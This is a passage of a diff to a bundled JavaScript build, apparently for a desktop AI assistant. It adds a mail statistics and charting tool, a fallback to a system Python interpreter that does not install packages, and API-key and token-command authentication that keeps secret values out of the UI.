- push(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".npm-global", "bin") : void 0);
43201
- push(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".local", "bin") : void 0);
43400
+ push2("/usr/local/bin");
43401
+ push2("/opt/homebrew/bin");
43402
+ push2(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".npm-global", "bin") : void 0);
43403
+ push2(process.env.HOME !== void 0 ? path9.join(process.env.HOME, ".local", "bin") : void 0);
43202
43404
  }
43203
43405
  return candidates;
43204
43406
  }
@@ -46167,6 +46369,125 @@ function message(error51) {
46167
46369
  return error51 instanceof Error ? error51.message : String(error51);
46168
46370
  }
46169
46371
 
46372
+ // ../../packages/core/dist/office/mailStats.js
46373
+ var DETAIL_CAP = 50;
46374
+ function push(buckets, label, record2) {
46375
+ const existing = buckets.get(label);
46376
+ const line = `${new Date(record2.receivedAt).toLocaleString()} \u2014 ${record2.subject}`;
46377
+ if (existing === void 0) {
46378
+ buckets.set(label, { label, count: 1, detail: [line] });
46379
+ return;
46380
+ }
46381
+ existing.count += 1;
46382
+ if (existing.detail.length < DETAIL_CAP)
46383
+ existing.detail.push(line);
46384
+ }
46385
+ function dayKey(at) {
46386
+ const date5 = new Date(at);
46387
+ const month = String(date5.getMonth() + 1).padStart(2, "0");
46388
+ const day = String(date5.getDate()).padStart(2, "0");
46389
+ return `${String(date5.getFullYear())}-${month}-${day}`;
46390
+ }
46391
+ function hourKey(at) {
46392
+ return String(new Date(at).getHours()).padStart(2, "0");
46393
+ }
46394
+ function groupKey(record2, by) {
46395
+ switch (by) {
46396
+ case "folder":
46397
+ return record2.folder;
46398
+ case "day":
46399
+ return dayKey(record2.receivedAt);
46400
+ case "hour":
46401
+ return hourKey(record2.receivedAt);
46402
+ case "sender":
46403
+ return record2.sender;
46404
+ case "status":
46405
+ return record2.status ?? "none";
46406
+ }
46407
+ }
46408
+ function countBy(records, by, options = {}) {
46409
+ const buckets = /* @__PURE__ */ new Map();
46410
+ for (const record2 of records)
46411
+ push(buckets, groupKey(record2, by), record2);
46412
+ if (by === "day" && options.fillDays === true && records.length > 0) {
46413
+ const times = records.map((record2) => record2.receivedAt);
46414
+ const from = new Date(Math.min(...times));
46415
+ const to = new Date(Math.max(...times));
46416
+ from.setHours(0, 0, 0, 0);
46417
+ for (let day = from; day <= to; day = new Date(day.getTime() + 864e5)) {
46418
+ const key = dayKey(day.getTime());
46419
+ if (!buckets.has(key))
46420
+ buckets.set(key, { label: key, count: 0, detail: [] });
46421
+ }
46422
+ }
46423
+ if (by === "hour") {
46424
+ for (let hour = 0; hour < 24; hour++) {
46425
+ const key = String(hour).padStart(2, "0");
46426
+ if (!buckets.has(key))
46427
+ buckets.set(key, { label: key, count: 0, detail: [] });
46428
+ }
46429
+ }
46430
+ const rows = [...buckets.values()];
46431
+ return by === "day" || by === "hour" ? rows.sort((a, b) => a.label.localeCompare(b.label)) : rows.sort((a, b) => b.count - a.count || a.label.localeCompare(b.label));
46432
+ }
46433
+ function crossTab(records, by, splitBy) {
46434
+ const categories = countBy(records, by, { fillDays: true }).map((bucket) => bucket.label);
46435
+ const splits = [...new Set(records.map((record2) => groupKey(record2, splitBy)))].sort();
46436
+ const index = /* @__PURE__ */ new Map();
46437
+ for (const record2 of records) {
46438
+ const key = `${groupKey(record2, by)}\0${groupKey(record2, splitBy)}`;
46439
+ push(index, key, record2);
46440
+ }
46441
+ return {
46442
+ categories,
46443
+ series: splits.map((split) => ({
46444
+ name: split,
46445
+ values: categories.map((category) => index.get(`${category}\0${split}`)?.count ?? 0),
46446
+ detail: categories.map((category) => index.get(`${category}\0${split}`)?.detail ?? null)
46447
+ }))
46448
+ };
46449
+ }
46450
+ function extractNumber(record2, label) {
46451
+ const haystack = `${record2.subject}
46452
+ ${record2.preview}`;
46453
+ const escaped = label.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
46454
+ const pattern = new RegExp(`${escaped}[^0-9+-]{0,12}([+-]?[0-9][0-9,]*(?:\\.[0-9]+)?)`, "i");
46455
+ const match = pattern.exec(haystack);
46456
+ if (match?.[1] === void 0)
46457
+ return void 0;
46458
+ const value = Number(match[1].replace(/,/g, ""));
46459
+ return Number.isFinite(value) ? value : void 0;
46460
+ }
46461
+ function numberOverTime(records, label, how = "last") {
46462
+ const byDay = /* @__PURE__ */ new Map();
46463
+ let matched = 0;
46464
+ for (const record2 of [...records].sort((a, b) => a.receivedAt - b.receivedAt)) {
46465
+ const value = extractNumber(record2, label);
46466
+ if (value === void 0)
46467
+ continue;
46468
+ matched += 1;
46469
+ const key = dayKey(record2.receivedAt);
46470
+ const entry = byDay.get(key) ?? { values: [], detail: [] };
46471
+ entry.values.push(value);
46472
+ if (entry.detail.length < DETAIL_CAP) {
46473
+ entry.detail.push(`${new Date(record2.receivedAt).toLocaleTimeString()} \u2014 ${String(value)} \u2014 ${record2.subject}`);
46474
+ }
46475
+ byDay.set(key, entry);
46476
+ }
46477
+ const points = [...byDay.entries()].sort((a, b) => a[0].localeCompare(b[0])).map(([day, entry]) => ({
46478
+ label: day,
46479
+ value: how === "sum" ? entry.values.reduce((sum, value) => sum + value, 0) : how === "max" ? Math.max(...entry.values) : how === "average" ? entry.values.reduce((sum, value) => sum + value, 0) / entry.values.length : entry.values[entry.values.length - 1],
46480
+ detail: entry.detail
46481
+ }));
46482
+ return { points, matched, skipped: records.length - matched };
46483
+ }
46484
+ function dailyChange(points) {
46485
+ return points.map((point, index) => ({
46486
+ label: point.label,
46487
+ change: index === 0 ? void 0 : point.value - points[index - 1].value
46488
+ }));
46489
+ }
46490
+
46170
46491
  // ../../packages/core/dist/office/mailIndex.js
46171
46492
  function parseStatusTag(subject) {
46172
46493
  if (/\[\s*alert\s*\]/i.test(subject))
@@ -46641,6 +46962,115 @@ function haystackOf(record2) {
46641
46962
  ${record2.sender}
46642
46963
  ${record2.preview}`.toLowerCase();
46643
46964
  }
46965
+ var statsSchema = external_exports.object({
46966
+ by: external_exports.enum(["folder", "day", "hour", "sender", "status"]).describe("What each bar or point represents. `day` and `hour` are in local time."),
46967
+ splitBy: external_exports.enum(["folder", "day", "hour", "sender", "status"]).optional().describe("Optional second dimension, giving one series per value \u2014 for a stacked or grouped bar."),
46968
+ withinHours: external_exports.number().min(0.1).max(24 * 365).optional().describe("Only mail received in this many hours."),
46969
+ status: external_exports.enum(["alert", "ok"]).optional().describe("Narrow to [ALERT] or [OK] messages first."),
46970
+ folder: external_exports.string().optional().describe("Narrow to a folder path first."),
46971
+ within: external_exports.array(external_exports.string().min(1)).max(500).optional().describe("Count only these message ids, from an earlier search_mail result."),
46972
+ numberLabel: external_exports.string().optional().describe('Instead of counting, read a labelled number out of each message and track it over time. Give the text that precedes it, e.g. "queue depth" or "rows". A message with no such label is left out rather than counted as zero.'),
46973
+ combine: external_exports.enum(["last", "max", "sum", "average"]).optional().describe("With numberLabel: what several messages in one day mean. Default last."),
46974
+ change: external_exports.boolean().optional().describe("With numberLabel: report the day-on-day movement rather than the value itself.")
46975
+ });
46976
+ function createMailStatsTool(options) {
46977
+ return {
46978
+ name: "mail_stats",
46979
+ group: "read",
46980
+ description: 'Counts indexed mail into buckets, ready to draw with show_chart. `by` picks the buckets (folder, day, hour, sender, status) and `splitBy` adds a second dimension for a stacked or grouped bar - "alerts per folder per day" is by=day, splitBy=folder. Every bucket comes back with the messages it counted, so pass those straight to show_chart as `detail` and the user can open a bar to see what is in it. With `numberLabel` it instead reads a labelled figure out of each message and tracks it over days - for an alert that carries a count or a percentage - and `change: true` reports the day-on-day movement instead of the value. These are exact counts over the index, not a sample and not a semantic guess.',
46981
+ parametersSchema: statsSchema,
46982
+ execute: async (params) => {
46983
+ try {
46984
+ const all = await options.loadRecords();
46985
+ if (all.length === 0) {
46986
+ return {
46987
+ content: "Nothing is indexed, so there is nothing to count. Say so rather than reporting zero of anything - zero is a finding and this is not one."
46988
+ };
46989
+ }
46990
+ let records = params.withinHours === void 0 ? [...all] : since(all, params.withinHours);
46991
+ if (params.status !== void 0)
46992
+ records = records.filter((r) => r.status === params.status);
46993
+ if (params.folder !== void 0) {
46994
+ const wanted = normaliseFolder(params.folder);
46995
+ records = records.filter((r) => normaliseFolder(r.folder).startsWith(wanted));
46996
+ }
46997
+ if (params.within !== void 0 && params.within.length > 0) {
46998
+ const keep = new Set(params.within);
46999
+ records = records.filter((r) => keep.has(r.id));
47000
+ }
47001
+ if (records.length === 0) {
47002
+ return { content: "No indexed messages match those filters, so there is nothing to count." };
47003
+ }
47004
+ if (params.numberLabel !== void 0) {
47005
+ const { points, matched, skipped } = numberOverTime(records, params.numberLabel, params.combine ?? "last");
47006
+ if (points.length === 0) {
47007
+ return {
47008
+ content: `No message contains a number labelled "${params.numberLabel}". Check the wording against an actual subject - the label is matched literally, on purpose, so that a number belonging to something else is never charted as this one.`
47009
+ };
47010
+ }
47011
+ const rows = params.change === true ? dailyChange(points).map((entry) => ({
47012
+ label: entry.label,
47013
+ value: entry.change,
47014
+ detail: null
47015
+ })) : points.map((point) => ({ label: point.label, value: point.value, detail: point.detail }));
47016
+ const usable = rows.filter((row) => row.value !== void 0);
47017
+ return {
47018
+ content: [
47019
+ `${String(matched)} message(s) carried a number labelled "${params.numberLabel}"${skipped > 0 ? `, ${String(skipped)} did not and were left out` : ""}.`,
47020
+ params.change === true ? "Day-on-day movement. The first day has no predecessor and is omitted rather than shown as no change." : `One point per day, taking the ${params.combine ?? "last"} value where a day had several.`,
47021
+ "",
47022
+ JSON.stringify({
47023
+ categories: usable.map((row) => row.label),
47024
+ series: [
47025
+ {
47026
+ name: params.change === true ? `${params.numberLabel} change` : params.numberLabel,
47027
+ values: usable.map((row) => row.value),
47028
+ ...params.change === true ? {} : { detail: usable.map((row) => row.detail) }
47029
+ }
47030
+ ]
47031
+ }),
47032
+ "",
47033
+ "Pass this to show_chart as a line chart. Keep `detail` on the series so the user can open a point."
47034
+ ].join("\n")
47035
+ };
47036
+ }
47037
+ if (params.splitBy !== void 0) {
47038
+ const table = crossTab(records, params.by, params.splitBy);
47039
+ return {
47040
+ content: [
47041
+ `${String(records.length)} message(s), by ${params.by} and ${params.splitBy}.`,
47042
+ "",
47043
+ JSON.stringify(table),
47044
+ "",
47045
+ "Pass this to show_chart as stackedBar or groupedBar. `detail` is already aligned."
47046
+ ].join("\n")
47047
+ };
47048
+ }
47049
+ const buckets = countBy(records, params.by, { fillDays: true });
47050
+ return {
47051
+ content: [
47052
+ `${String(records.length)} message(s) in ${String(buckets.length)} bucket(s), by ${params.by}.` + (params.by === "day" ? " Days with none are included as zero \u2014 a missing day and a day with nothing are different claims, and only one of them is true." : ""),
47053
+ "",
47054
+ JSON.stringify({
47055
+ categories: buckets.map((bucket) => bucket.label),
47056
+ series: [
47057
+ {
47058
+ name: params.status === void 0 ? "Messages" : params.status.toUpperCase(),
47059
+ values: buckets.map((bucket) => bucket.count),
47060
+ detail: buckets.map((bucket) => bucket.detail.length === 0 ? null : bucket.detail)
47061
+ }
47062
+ ]
47063
+ }),
47064
+ "",
47065
+ "Pass this to show_chart. Keep `detail` so the user can open a bar and see what is in it."
47066
+ ].join("\n")
47067
+ };
47068
+ } catch (error51) {
47069
+ return { content: error51 instanceof Error ? error51.message : String(error51), isError: true };
47070
+ }
47071
+ }
47072
+ };
47073
+ }
46644
47074
 
46645
47075
  // ../../packages/core/dist/office/mailStore.js
46646
47076
  import fs5 from "node:fs/promises";
@@ -54060,25 +54490,64 @@ async function discoverWorkspaceVenv(workspaceRoot) {
54060
54490
  continue;
54061
54491
  }
54062
54492
  let uvManaged = false;
54063
- let pythonVersion;
54493
+ let pythonVersion2;
54064
54494
  try {
54065
54495
  const config2 = await fs8.readFile(path15.join(candidate, "pyvenv.cfg"), "utf8");
54066
54496
  uvManaged = /^\s*uv\s*=/m.test(config2);
54067
- pythonVersion = /^\s*version(?:_info)?\s*=\s*(.+)$/m.exec(config2)?.[1]?.trim();
54497
+ pythonVersion2 = /^\s*version(?:_info)?\s*=\s*(.+)$/m.exec(config2)?.[1]?.trim();
54068
54498
  } catch {
54069
54499
  }
54070
54500
  return {
54071
54501
  path: candidate,
54072
54502
  interpreter,
54073
54503
  uvManaged,
54074
- ...pythonVersion !== void 0 ? { pythonVersion } : {}
54504
+ ...pythonVersion2 !== void 0 ? { pythonVersion: pythonVersion2 } : {}
54075
54505
  };
54076
54506
  }
54077
54507
  return void 0;
54078
54508
  }
54509
+ var BARE_PYTHON_CANDIDATES = ["python3", "python"];
54510
+ async function detectBareInterpreter(configuredPath) {
54511
+ const candidates = configuredPath !== void 0 && configuredPath.trim().length > 0 ? [configuredPath.trim()] : [...BARE_PYTHON_CANDIDATES];
54512
+ for (const candidate of candidates) {
54513
+ try {
54514
+ const version2 = await pythonVersion(candidate);
54515
+ if (version2 !== void 0)
54516
+ return { path: candidate, version: version2 };
54517
+ } catch {
54518
+ }
54519
+ }
54520
+ return void 0;
54521
+ }
54522
+ async function pythonVersion(program) {
54523
+ const { spawn: spawn8 } = await import("node:child_process");
54524
+ return new Promise((resolve) => {
54525
+ const child = spawn8(program, ["-c", 'import sys; print("%d.%d.%d" % sys.version_info[:3])'], {
54526
+ shell: false,
54527
+ env: minimalPythonEnv()
54528
+ });
54529
+ let out = "";
54530
+ child.stdout.on("data", (chunk) => out += chunk.toString());
54531
+ child.on("error", () => resolve(void 0));
54532
+ const timer = setTimeout(() => {
54533
+ child.kill();
54534
+ resolve(void 0);
54535
+ }, 1e4);
54536
+ child.on("close", (code) => {
54537
+ clearTimeout(timer);
54538
+ const version2 = out.trim();
54539
+ if (code !== 0 || !/^\d+\.\d+\.\d+$/.test(version2)) {
54540
+ resolve(void 0);
54541
+ return;
54542
+ }
54543
+ const major = Number(version2.split(".")[0]);
54544
+ resolve(major >= 3 ? version2 : void 0);
54545
+ });
54546
+ });
54547
+ }
54079
54548
 
54080
54549
  // ../../packages/core/dist/python/worker.js
54081
- import { execFile as execFile4, spawn as spawn2 } from "node:child_process";
54550
+ import { execFile as execFile4, spawn as spawn3 } from "node:child_process";
54082
54551
  import { createInterface } from "node:readline";
54083
54552
  var PythonWorkerError = class extends Error {
54084
54553
  traceback;
@@ -54102,7 +54571,7 @@ var PythonWorker = class {
54102
54571
  start() {
54103
54572
  if (this.child !== void 0 && this.child.exitCode === null && !this.child.killed)
54104
54573
  return this.child;
54105
- const child = spawn2(this.options.pythonPath, [this.options.workerScript], {
54574
+ const child = spawn3(this.options.pythonPath, [this.options.workerScript], {
54106
54575
  cwd: this.options.cwd,
54107
54576
  env: this.options.env,
54108
54577
  windowsHide: true,
@@ -54743,7 +55212,7 @@ function makeWriteTool(context, options) {
54743
55212
  if (context.installDeps === void 0) {
54744
55213
  await restore();
54745
55214
  return {
54746
- content: `This tool declares dependencies (${declared.join(", ")}) but dependency installation is not available \u2014 uv could not be found. Rewrite it using only the standard library, or ask the user to configure uv in Settings \u2192 Python.`,
55215
+ content: `This tool declares dependencies (${declared.join(", ")}) but they cannot be installed. ` + (context.installUnavailableReason ?? "uv could not be found. Ask the user to configure uv in Settings \u2192 Python.") + " Rewrite the tool using only the standard library and whatever is already importable, or ask the user to install the package themselves.",
54747
55216
  isError: true
54748
55217
  };
54749
55218
  }
@@ -54925,8 +55394,7 @@ var PythonManager = class {
54925
55394
  if (this.uv === void 0)
54926
55395
  this.uv = await detectUv(config2.uvPath);
54927
55396
  if (this.uv === void 0) {
54928
- this.ready = false;
54929
- this.detail = "uv was not found. Install it and set the path in Settings \u2192 Python, or add it to PATH.";
55397
+ await this.startWithoutUv(config2, this.options.workspaceRoot);
54930
55398
  return;
54931
55399
  }
54932
55400
  try {
@@ -55074,6 +55542,16 @@ var PythonManager = class {
55074
55542
  ...generated !== void 0 ? { generateSource: generated } : {},
55075
55543
  worker,
55076
55544
  onChanged: () => this.refresh(),
55545
+ /*
55546
+ * No installing against an interpreter we do not own.
55547
+ *
55548
+ * Absent rather than failing, so the refusal happens before a file is written and names the
55549
+ * package. The reason travels with it because the advice differs: install uv, versus
55550
+ * install the package into the environment you already have.
55551
+ */
55552
+ ...this.venvSource === "interpreter" ? {
55553
+ installUnavailableReason: `Light Code is using the Python interpreter at ${this.interpreter} directly, with no virtualenv, so it does not install or remove packages there \u2014 that environment belongs to whatever started it.`
55554
+ } : {},
55077
55555
  ...uv !== void 0 ? {
55078
55556
  installDeps: (packages) => installDependencies({
55079
55557
  uv,
@@ -55087,6 +55565,44 @@ var PythonManager = class {
55087
55565
  } : {}
55088
55566
  };
55089
55567
  }
55568
+ /**
55569
+ * Starts against an interpreter we did not create and do not own.
55570
+ *
55571
+ * Deliberately parallel to the uv path rather than folded into it: the two differ on the one
55572
+ * decision that matters — whether installing a package is allowed — and a single path with a
55573
+ * flag threaded through it is how that decision ends up being made in the wrong place.
55574
+ */
55575
+ async startWithoutUv(config2, workspaceRoot) {
55576
+ const bare = await detectBareInterpreter(config2.interpreterPath);
55577
+ if (bare === void 0) {
55578
+ this.ready = false;
55579
+ this.detail = config2.interpreterPath !== void 0 && config2.interpreterPath.trim().length > 0 ? `The configured interpreter could not be run: ${config2.interpreterPath}. Give the full path to a Python 3 executable, or clear the field to search the PATH.` : "No Python was found. Either install uv (Settings \u2192 Python) so Light Code can manage an environment for you, or make a Python 3 interpreter available on PATH \u2014 if one is already installed, give its full path in Settings \u2192 Python.";
55580
+ return;
55581
+ }
55582
+ try {
55583
+ const env2 = minimalPythonEnv(this.options.sessionEnv?.() ?? {});
55584
+ this.interpreter = bare.path;
55585
+ this.venvPath = "";
55586
+ this.venvSource = "interpreter";
55587
+ this.venvIsUvManaged = false;
55588
+ const workerScript = await this.writeWorkerScript();
55589
+ this.worker ??= new PythonWorker({
55590
+ pythonPath: bare.path,
55591
+ workerScript,
55592
+ cwd: workspaceRoot,
55593
+ env: env2,
55594
+ logger: this.options.logger,
55595
+ timeoutMs: this.timeoutMs
55596
+ });
55597
+ await this.refresh();
55598
+ this.ready = true;
55599
+ this.detail = `Ready \u2014 using Python ${bare.version} at ${bare.path}, with no virtualenv. Tools run against whatever that interpreter can already import; declared dependencies are NOT installed. Install uv if you want Light Code to manage an environment.`;
55600
+ } catch (error51) {
55601
+ this.ready = false;
55602
+ this.detail = error51 instanceof Error ? error51.message : String(error51);
55603
+ this.options.logger.warn("python environment failed to start", this.detail);
55604
+ }
55605
+ }
55090
55606
  status() {
55091
55607
  return {
55092
55608
  enabled: this.enabled,
@@ -55888,13 +56404,13 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
55888
56404
  // ../../packages/core/dist/host/bridge.js
55889
56405
  import { createHash as createHash3, randomUUID as randomUUID3 } from "node:crypto";
55890
56406
  import { watch as watchPath } from "node:fs";
55891
- import { spawn as spawn5 } from "node:child_process";
56407
+ import { spawn as spawn6 } from "node:child_process";
55892
56408
  import fs18 from "node:fs/promises";
55893
56409
  import os2 from "node:os";
55894
56410
  import path24 from "node:path";
55895
56411
 
55896
56412
  // ../../packages/core/dist/office/bridge.js
55897
- import { spawn as spawn3 } from "node:child_process";
56413
+ import { spawn as spawn4 } from "node:child_process";
55898
56414
  import fs15 from "node:fs/promises";
55899
56415
  import path22 from "node:path";
55900
56416
 
@@ -57877,7 +58393,7 @@ var OfficeBridge = class {
57877
58393
  const BOM = "\uFEFF";
57878
58394
  await fs15.writeFile(target, `${BOM}${OFFICE_WORKER_SOURCE}`, "utf8");
57879
58395
  this.scriptPath = target;
57880
- const child = spawn3("powershell.exe", ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-File", target], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
58396
+ const child = spawn4("powershell.exe", ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-File", target], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
57881
58397
  this.child = child;
57882
58398
  this.buffer = "";
57883
58399
  child.stdout?.setEncoding("utf8");
@@ -58525,7 +59041,7 @@ var NodeFileSystem = class {
58525
59041
  };
58526
59042
 
58527
59043
  // ../../packages/core/dist/platform/node/terminal.js
58528
- import { execFile as execFile6, spawn as spawn4 } from "node:child_process";
59044
+ import { execFile as execFile6, spawn as spawn5 } from "node:child_process";
58529
59045
  var NodeTerminalProcess = class {
58530
59046
  child;
58531
59047
  dataListeners = [];
@@ -58576,7 +59092,7 @@ var NodeTerminalProcess = class {
58576
59092
  };
58577
59093
  var NodeTerminal = class {
58578
59094
  run(command, options = {}) {
58579
- const child = spawn4(command, {
59095
+ const child = spawn5(command, {
58580
59096
  cwd: options.cwd,
58581
59097
  env: options.env ? { ...process.env, ...options.env } : process.env,
58582
59098
  shell: true,
@@ -58754,7 +59270,31 @@ async function toSummary(profile, secrets) {
58754
59270
  baseUrl: profile.baseUrl,
58755
59271
  model: profile.model,
58756
59272
  authType: profile.auth.type,
58757
- hasApiKey: profile.auth.type === "apiKey" && await secrets.get(profile.auth.apiKeyRef) !== void 0,
59273
+ hasApiKey: profile.auth.type === "apiKey" && await resolveSecretRef(profile.auth.apiKeyRef, { secrets }) !== void 0,
59274
+ /*
59275
+ * The reference itself, when it names the environment.
59276
+ *
59277
+ * Sending it is not a secret leak (invariant 7) — a variable *name* is not its value, and the
59278
+ * user typed it. It is what lets the panel show "from $API_TOKEN" instead of an empty box that
59279
+ * reads as an unconfigured profile.
59280
+ */
59281
+ ...profile.auth.type === "apiKey" && describeSecretRef(profile.auth.apiKeyRef).kind === "env" ? { apiKeyEnvVar: describeSecretRef(profile.auth.apiKeyRef).envVar } : {},
59282
+ // Not a secret: a command describes how to *get* a credential. The token it produces never
59283
+ // crosses the bridge, and a form cannot edit what it is never shown.
59284
+ ...profile.auth.type === "tokenCommand" ? {
59285
+ /*
59286
+ * `env` is dropped on the way out, deliberately.
59287
+ *
59288
+ * It is the one field here somebody might have put a credential in, and the panel has no
59289
+ * business rendering it. Dropping it from the summary rather than from the schema means a
59290
+ * hand-written one keeps working; the form simply never sees it, and never sends it back.
59291
+ */
59292
+ tokenCommand: ((whole) => {
59293
+ const { env: env2, ...rest } = whole;
59294
+ void env2;
59295
+ return rest;
59296
+ })(profile.auth.tokenCommand)
59297
+ } : {},
58758
59298
  hasClientSecret: false,
58759
59299
  hasCertPassphrase: false
58760
59300
  };
@@ -59514,6 +60054,7 @@ function wireChatBridge(services) {
59514
60054
  combined.register(createSearchMailTool(mailToolOptions));
59515
60055
  combined.register(createMailPatternsTool(mailToolOptions));
59516
60056
  combined.register(createMailCoverageTool(mailToolOptions));
60057
+ combined.register(createMailStatsTool(mailToolOptions));
59517
60058
  combined.register(createOpenEmailTool({
59518
60059
  display: async (id) => office().request({ op: "outlook.display", id })
59519
60060
  }));
@@ -59636,7 +60177,8 @@ function wireChatBridge(services) {
59636
60177
  try {
59637
60178
  const { config: config2 } = await configManager.load();
59638
60179
  const refs = (config2.profiles ?? []).flatMap((profile) => SECRET_REFS_PER_PROFILE.map((refFor) => refFor(profile.id)));
59639
- const values = await Promise.all(refs.map((ref) => secrets.get(ref)));
60180
+ const named = (config2.profiles ?? []).map((profile) => profile.auth.type === "apiKey" ? profile.auth.apiKeyRef : void 0).filter((ref) => ref !== void 0);
60181
+ const values = await Promise.all([.../* @__PURE__ */ new Set([...refs, ...named])].map((ref) => resolveSecretRef(ref, { secrets })));
59640
60182
  cachedSecretValues = values.filter((value) => value !== void 0 && value.length > 0);
59641
60183
  return [...cachedSecretValues];
59642
60184
  } catch (error51) {
@@ -59946,6 +60488,8 @@ function wireChatBridge(services) {
59946
60488
  expertInformed = true;
59947
60489
  if (CONTROL_TOOLS.has(toolCall.name))
59948
60490
  return;
60491
+ if (chartFromToolCall(toolCall.name, toolCall.arguments) !== void 0)
60492
+ return;
59949
60493
  const summary = {
59950
60494
  id: toolCall.id,
59951
60495
  name: toolCall.name,
@@ -59959,6 +60503,11 @@ function wireChatBridge(services) {
59959
60503
  post({ type: "textChunk", text: result.content });
59960
60504
  return;
59961
60505
  }
60506
+ const chart = chartFromToolCall(toolCall.name, toolCall.arguments);
60507
+ if (chart !== void 0) {
60508
+ post(chart.kind === "chart" ? { type: "chart", chart: chart.chart, ...expertInformed ? { expertInformed } : {} } : { type: "chartError", message: chart.message });
60509
+ return;
60510
+ }
59962
60511
  const summary = {
59963
60512
  id: toolCall.id,
59964
60513
  name: toolCall.name,
@@ -59998,8 +60547,8 @@ function wireChatBridge(services) {
59998
60547
  }
59999
60548
  }
60000
60549
  async function buildAuthFromInput(input, id) {
60001
- async function persistSecret(ref, typed) {
60002
- const value = typed?.trim() ?? "";
60550
+ async function persistSecret(ref, typed2) {
60551
+ const value = typed2?.trim() ?? "";
60003
60552
  if (value.length > 0) {
60004
60553
  await secrets.set(ref, value);
60005
60554
  return true;
@@ -60023,8 +60572,32 @@ function wireChatBridge(services) {
60023
60572
  }
60024
60573
  };
60025
60574
  }
60575
+ if (input.authType === "tokenCommand") {
60576
+ if (services.executableAuthRefusal !== void 0)
60577
+ throw new Error(services.executableAuthRefusal);
60578
+ const existing2 = (await configManager.load()).config.profiles?.find((profile) => profile.id === id);
60579
+ if (input.tokenCommand === void 0 || input.tokenCommand.command.length === 0) {
60580
+ return existing2?.auth.type === "tokenCommand" ? existing2.auth : { type: "none" };
60581
+ }
60582
+ return {
60583
+ type: "tokenCommand",
60584
+ tokenCommand: {
60585
+ ...input.tokenCommand,
60586
+ command: input.tokenCommand.command.filter((part) => part.trim().length > 0)
60587
+ }
60588
+ };
60589
+ }
60026
60590
  if (input.authType === "none")
60027
60591
  return { type: "none" };
60592
+ const typed = input.apiKey.trim();
60593
+ if (describeSecretRef(typed).kind === "env") {
60594
+ await secrets.delete(apiKeyRefFor(id));
60595
+ return { type: "apiKey", apiKeyRef: typed };
60596
+ }
60597
+ const existing = (await configManager.load()).config.profiles?.find((profile) => profile.id === id);
60598
+ if (typed.length === 0 && existing?.auth.type === "apiKey" && describeSecretRef(existing.auth.apiKeyRef).kind === "env") {
60599
+ return existing.auth;
60600
+ }
60028
60601
  const apiKeyRef = apiKeyRefFor(id);
60029
60602
  if (await persistSecret(apiKeyRef, input.apiKey)) {
60030
60603
  return { type: "apiKey", apiKeyRef };
@@ -61089,7 +61662,7 @@ function wireChatBridge(services) {
61089
61662
  return void 0;
61090
61663
  try {
61091
61664
  const listed = await new Promise((resolve, reject2) => {
61092
- const child = spawn5(ripgrepPath, ["--files", "--hidden", "--glob", "!.git"], { cwd: workspaceRoot });
61665
+ const child = spawn6(ripgrepPath, ["--files", "--hidden", "--glob", "!.git"], { cwd: workspaceRoot });
61093
61666
  let out = "";
61094
61667
  child.stdout.on("data", (chunk) => out += chunk.toString("utf8"));
61095
61668
  child.on("error", reject2);
@@ -62588,6 +63161,21 @@ ${entry.content}`);
62588
63161
  lines.push(`## Thinking
62589
63162
 
62590
63163
  ${entry.content}`);
63164
+ } else if (entry.kind === "chart") {
63165
+ const chart = entry.chart;
63166
+ const header = ["", ...chart.series.map((series) => series.name)];
63167
+ lines.push([
63168
+ `## ${chart.title ?? "Chart"}`,
63169
+ "",
63170
+ `| ${header.join(" | ")} |`,
63171
+ `| ${header.map(() => "---").join(" | ")} |`,
63172
+ ...chart.categories.map((category, index) => `| ${category} | ${chart.series.map((series) => String(series.values[index] ?? "")).join(" | ")} |`),
63173
+ ...chart.note === void 0 ? [] : ["", chart.note]
63174
+ ].join("\n"));
63175
+ } else if (entry.kind === "chartError") {
63176
+ lines.push(`## Chart
63177
+
63178
+ Could not be drawn: ${entry.message}`);
62591
63179
  } else {
62592
63180
  const call = entry.toolCall;
62593
63181
  lines.push([
@@ -63088,6 +63676,89 @@ function deriveTitle(messages) {
63088
63676
  return `${cut.trimEnd()}\u2026`;
63089
63677
  }
63090
63678
 
63679
+ // ../../packages/core/dist/charts/types.js
63680
+ var CHART_TYPES = ["bar", "stackedBar", "groupedBar", "line", "multiLine", "pie"];
63681
+ var MAX_CATEGORIES = 200;
63682
+ var MAX_SERIES = 12;
63683
+ var finiteNumber = external_exports.number().refine((value) => Number.isFinite(value), { message: "must be a finite number" });
63684
+ var chartSeriesSchema = external_exports.object({
63685
+ name: external_exports.string().min(1).describe('What this series is, e.g. "Alerts" or "Inbox". Shown in the legend.'),
63686
+ values: external_exports.array(finiteNumber).min(1).max(MAX_CATEGORIES).describe("One number per category, in the same order as `categories`."),
63687
+ /**
63688
+ * What each number is made of, for the reader who asks "which ones?".
63689
+ *
63690
+ * Aligned with `values` by index, and any entry may be omitted. This is the drill-down: a bar
63691
+ * showing 14 alerts can list the fourteen subjects, so the chart is a way *into* the data rather
63692
+ * than a summary that replaces it.
63693
+ */
63694
+ detail: external_exports.array(external_exports.union([external_exports.array(external_exports.string()), external_exports.null()])).max(MAX_CATEGORIES).optional().describe("Optional. For each value, the rows behind it \u2014 subjects, ids, filenames, whatever the number counted. Same order as `values`; use null where there is nothing to show.")
63695
+ });
63696
+ var chartSpecSchema = external_exports.object({
63697
+ type: external_exports.enum(CHART_TYPES).describe("bar, stackedBar, groupedBar, line, multiLine or pie."),
63698
+ title: external_exports.string().max(200).optional(),
63699
+ categories: external_exports.array(external_exports.string()).min(1).max(MAX_CATEGORIES).describe("The x axis, or the pie slice labels. One per value in every series."),
63700
+ series: external_exports.array(chartSeriesSchema).min(1).max(MAX_SERIES),
63701
+ xLabel: external_exports.string().max(80).optional(),
63702
+ yLabel: external_exports.string().max(80).optional(),
63703
+ note: external_exports.string().max(500).optional().describe("A line under the chart. Say where the numbers came from, and what they exclude.")
63704
+ }).superRefine((spec, context) => {
63705
+ for (const [index, series] of spec.series.entries()) {
63706
+ if (series.values.length !== spec.categories.length) {
63707
+ context.addIssue({
63708
+ code: "custom",
63709
+ path: ["series", index, "values"],
63710
+ /*
